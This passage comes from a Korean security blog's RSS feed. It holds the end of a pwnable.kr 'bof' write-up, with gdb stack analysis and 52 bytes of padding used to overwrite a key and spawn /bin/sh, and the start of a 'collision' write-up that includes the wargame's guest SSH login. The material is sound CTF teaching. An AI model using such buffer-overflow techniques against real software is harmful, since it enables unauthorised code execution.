14pt;&quot;&gt;&quot;overflow&amp;nbsp;me&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;사용자로부터 overflowme buffer에 입력을 받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets(overflowme);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 key == 0xcafebabe 이면 쉘을 실행하고 다르면&amp;nbsp;&quot;Nah..\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xcafebabe&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Nah..\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bof.c의 메모리 구조를 나타내면 간단히 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 481px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9925EC375BDB03DC0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9925EC375BDB03DC0A&quot; width=&quot;481&quot; height=&quot;789&quot; filename=&quot;이미지 028.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;예상해 본 메모리 구조는 위와 같지만 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;compiler가 최적화를 위해 중간 중간에 dummy&lt;/span&gt;를 삽입할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 gdb를 통해 정확히 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;overflowme와 0xdeadbeef 사이의 byte 공간&lt;/span&gt;을 알아야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;set disassembly-flavor intel을 통해 intel 문법으로 assembly를 바꿀 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 703px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ECFF4B5BDB0CC91F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ECFF4B5BDB0CC91F&quot; width=&quot;703&quot; height=&quot;665&quot; filename=&quot;이미지 030.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;func 함수에 변수가 총 72(0x48) byte 만큼 할당되어 있는 것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;func 함수의 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;disassembly 코드를 보면 총 4번의 call이 보인다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;각각 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;printf(), gets(), system(), printf() &lt;/span&gt;인것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets의 인자로 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;overflowme&lt;/span&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;가 들어가고 [ebp - 0x2c]&lt;/span&gt; 위치에 있는것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key는 0xcafebabe와 compare하기 때문에, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;key는 [ebp + 0x08]&lt;/span&gt; 번지에 있는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다시 메모리 구조를 그려보면 아래와 같이 그릴 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 852px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990638445BDB0EC214&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990638445BDB0EC214&quot; width=&quot;852&quot; height=&quot;1053&quot; filename=&quot;이미지 032.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;2 byte의 패딩과 4 byte의 key 값으로 overflow 시키면 된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 897px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99266C485BDB0F290D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99266C485BDB0F290D&quot; width=&quot;897&quot; height=&quot;235&quot; filename=&quot;이미지 033.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/223</guid>
      <comments>https://marcokhan.tistory.com/223#entry223comment</comments>
      <pubDate>Thu, 1 Nov 2018 22:40:05 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  collision 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/222</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- collision&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh col@pwnable.kr 2222 (passwd: guest)&lt;/span&gt;로 접속하면 collsion 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5를 통해 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면, ssh col@pwnable.kr -p2222 이와 같이 접속 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 769px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DB53355BDADE1518&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DB53355BDADE1518&quot; width=&quot;769&quot; height=&quot;100&quot; filename=&quot;이미지 022.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리는 flag를 알아야 하는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 col이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;col이라는 실행파일이 존재하고, setuid가 col_pwn의 권한으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;col elf 파일을 통해 col_pwn의 권한을 얻고 flag를 보면 될것 같은 느낌이 든다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;col.c를 가지고 col elf 파일을 만들었을 확률이 높으므로 col.c를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E4013F5BDADEDF0E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E4013F5BDADEDF0E&quot; width=&quot;675&quot; height=&quot;614&quot; filename=&quot;이미지 023.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unsigned long type의 hashcode 변수를 생성한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;long&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;hashcode&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x21DD09EC&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;check_password 함수를 정의한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;파라미터를 int 형으로 형 변환 후 4 byte씩 5번 읽어들여 res에 더한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span 